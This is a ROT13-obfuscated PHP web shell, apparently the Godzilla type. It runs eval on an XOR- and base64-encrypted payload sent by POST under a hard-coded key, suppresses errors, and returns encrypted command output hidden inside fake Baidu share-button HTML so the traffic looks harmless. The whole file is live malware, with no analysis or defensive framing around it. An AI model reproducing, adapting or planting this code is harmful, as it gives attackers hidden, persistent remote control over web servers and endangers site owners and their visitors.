<?cuc
@frffvba_fgneg();
@frg_gvzr_yvzvg(0);
@reebe_ercbegvat(0);

shapgvba rapbqr($Q, $X){
    sbe ($v = 0; $v < fgeyra($Q); $v++) {
        $p = $X[$v + 1 & 15];
        $Q[$v] = $Q[$v] ^ $p;
    }
    erghea $Q;
}

$cnff = 'cnff';
$cnlybnqAnzr = 'cnlybnq';
$xrl = '3p6r0o8n9p15224n';

vs (vffrg($_CBFG[$cnff])) {
    $qngn = rapbqr(onfr64_qrpbqr($_CBFG[$cnff]), $xrl);

    vs (vffrg($_FRFFVBA[$cnlybnqAnzr])) {
        $cnlybnq = rapbqr($_FRFFVBA[$cnlybnqAnzr], $xrl);

        vs (fgecbf($cnlybnq, "trgOnfvpfVasb") === snyfr) {
            $cnlybnq = rapbqr($cnlybnq, $xrl);
        }

        riny($cnlybnq);
        $yrsg = fhofge(zq5($cnff . $xrl), 0, 5);
        $ercynprqFgevat = fge_ercynpr("oqfrx", $yrsg, "ine Eroqfrx_pbasvt=");
        urnqre('Pbagrag-Glcr: grkg/ugzy');
        rpub '<!QBPGLCR ugzy>';
        rpub '<ugzy ynat="ra">';
        rpub '<urnq>';
        rpub '<zrgn punefrg="HGS-8">';
        rpub '<gvgyr>TrgPbasvtXrl</gvgyr>';
        rpub '</urnq>';
        rpub '<obql>';
        rpub '<fpevcg>';
        rpub '<!-- Onvqh Ohggba ORTVA';
        rpub '<fpevcg glcr="grkg/wninfpevcg" vq="oqfuner_wf" qngn="glcr=fyvqr&nzc;vzt=8&nzc;cbf=evtug&nzc;hvq=6537022" ></fpevcg>';
        rpub '<fpevcg glcr="grkg/wninfpevcg" vq="oqfuryy_wf"></fpevcg>';
        rpub '<fpevcg glcr="grkg/wninfpevcg">';
        rpub $ercynprqFgevat;
        rpub onfr64_rapbqr(rapbqr(@eha($qngn),$xrl));
        rpub ";";
        rpub 'qbphzrag.trgRyrzragOlVq("oqfuryy_wf").fep = "uggc://oqvzt.funer.onvqh.pbz/fgngvp/wf/furyy_i2.wf?pqairefvba=" + Zngu.prvy(arj Qngr()/3600000);';
        rpub '</fpevcg>';
        rpub '-->';
        rpub '</fpevcg>';
        rpub '</obql>';
        rpub '</ugzy>';
    } ryfr {
        vs (fgecbf($qngn, "trgOnfvpfVasb") !== snyfr) {
            $_FRFFVBA[$cnlybnqAnzr] = rapbqr($qngn, $xrl);
        }
    }
}
?>
